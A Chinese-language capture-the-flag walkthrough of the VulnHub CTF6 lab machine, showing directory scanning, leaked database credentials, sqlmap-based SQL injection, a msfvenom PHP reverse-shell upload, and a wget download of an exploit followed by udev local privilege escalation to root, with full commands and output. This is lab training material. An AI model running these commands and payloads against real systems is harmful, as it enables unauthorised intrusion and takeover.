【精选】vulnhub CTF6 linux udev提权 (青铜门笔记)
一、信息收集
1.主机探测
发现靶机的IP地址是:192.168.103.130
┌──(root💀kali)-[~]
└─# arp-scan -l
2.访问web页面
发现有个登录的页面,尝试了弱口令,但是发现没有成功;
所以,我们需要在后面的信息收集去挖掘作者留下的信息,这里是个网站,所以运气好的话,目录扫描可以找到有关网站源码的目录文件。
3.目录扫描
扫描到了很多目录,可以都去尝试下
┌──(root??kali)-[~]
└─# dirsearch -u http://192.168.103.130
/phpmyadmin/
尝试弱口令,并没有成功
/docs目录
http://192.168.103.130/docs/
有一个.tgz的压缩包和一个phpinfo.php
网站的根目录也可以找到
压缩包里面,有很多的文件:
发现一个网站的配置文件:config.ini
发现了cms数据库的账号密码
database_pass = 45kkald?8laLKD
database_user = cms_user
database_db = cms
发现一个db.sql的文件,里面发现了网站的页面登录的账号密码,看这里面的html内容
很像我开始想尝试弱口令破解的那个登录页面
发现登录成功了(如果你使用的是火狐浏览器,那么这里登录成功后,不会显示别的多余的功能,建议使用Google浏览器)
4.sql注入漏洞
其实这里面还有sql注入的漏洞
点击 read more
按键
这里有参数,猜测是存在sql注入
加上 ' ,发现报错了,说明存在sql注入漏洞
sqlmap一把梭
┌──(root💀kali)-[~]
└─# sqlmap -u "http://192.168.103.130/index.php?id=4" -D cms -T user -C "user_password,user_username" --dump --batch
其实这里,我们可以发现,这里就是我们开始目录扫描发现的网站重点一些配置信息中的db.sql文件里面内容中的账号密码
二、漏洞利用
1.反弹shell
这里,我们先用msfvenom生成一个监听的木马文件,然后把这个木马文件上传
┌──(root💀kali)-[~]
└─# msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.103.129 LPORT=4444 -o shell.php
##LHOST=192.168.103.129是kali的IP地址
上传木马文件
msf开启监听
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set lhost 192.168.103.129
打开上传的木马图片,发现监听成功
2.信息收集
如果shell不成功,可以按Ctrl + x 退出,然后再重新进入shell
发现是普通权限
python -c 'import pty; pty.spawn ("/bin/bash")' ##交互式shell
发现无法查看/etc/shadow文件,说明这个用户的权限确实低,所以需要进行提权
查看内核版本信息
linux 2.6.18 低版本的,我这里开始看到是linux低版本的,想利用脏牛提权,发现不符合
大家可以上网搜索下,这个内核版本的有哪些漏洞可以用来提权,然后发现linux udev
提权方法
bash-3.2$ uname -an
uname -an
Linux localhost.localdomain 2.6.18-92.el5 #1 SMP Tue Jun 10 18:49:47 EDT 2008 i686 i686 i386 GNU/Linux
3.linux udev提权
searchsploit 检索udev漏洞的exp
┌──(root💀kali)-[~/red1]
└─# searchsploit udev
像这种内核提权漏洞,还是蛮麻烦的,需要一个一个的去尝试
根据linux内核版本,我尝试了第一个和第二个,发现8572.c第二个提权失败
把8478.sh上传到靶机
bash-3.2$ cd /tmp
cd /tmp
bash-3.2$ ls
ls
bash-3.2$ wget http://192.168.103.129:88/8478.sh
wget http://192.168.103.129:88/8478.sh
--07:49:50-- http://192.168.103.129:88/8478.sh
Connecting to 192.168.103.129:88... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3498 (3.4K) [text/x-sh]
Saving to: `8478.sh'
100%[=======================================>] 3,498 --.-K/s in 0s
07:49:50 (350 MB/s) - `8478.sh' saved [3498/3498]
bash-3.2$ ls
ls
8478.sh
bash-3.2$ chmod -R 777 8478.sh
chmod -R 777 8478.sh
查看udev的进程号 569 -1 = 568
bash-3.2$ ps aux | grep udev
ps aux | grep udev
root 569 0.0 0.2 2248 680 ? S<s 05:27 0:00 /sbin/udevd -d
apache 4482 0.0 0.1 1840 480 pts/0 R+ 07:53 0:00 grep udev
或者用查看进程:cat /proc/net/netlink
568
bash-3.2$ cat /proc/net/netlink
cat /proc/net/netlink
sk Eth Pid Groups Rmem Wmem Dump Locks
cf873400 0 3125 00000111 0 0 00000000 2
cfebce00 0 0 00000000 0 0 00000000 2
cfc4ca00 6 0 00000000 0 0 00000000 2
cfe78600 7 0 00000000 0 0 00000000 2
cf878600 9 2449 00000000 0 0 00000000 2
cfe66e00 9 0 00000000 0 0 00000000 2
cf557c00 10 0 00000000 0 0 00000000 2
cf514c00 11 0 00000000 0 0 00000000 2
cfebcc00 15 0 00000000 0 0 00000000 2
cfc4c400 15 568 ffffffff 0 0 00000000 2
cf514a00 16 0 00000000 0 0 00000000 2
cf6a9c00 18 0 00000000 0 0 00000000 2
提权,如果这个命令执行失败,可以多执行几次就可以成功了
当$变成#,说明提权成功了
sh-3.2$ ./8478.sh 568
./8478.sh 568
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
/usr/bin/ld: cannot open output file /tmp/suid: Permission denied
collect2: ld returned 1 exit status
cp: `libno_ex.so.1.0' and `/tmp/libno_ex.so.1.0' are the same file
sh-3.2# id
id
uid=0(root) gid=0(root) groups=48(apache)
sh-3.2#
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!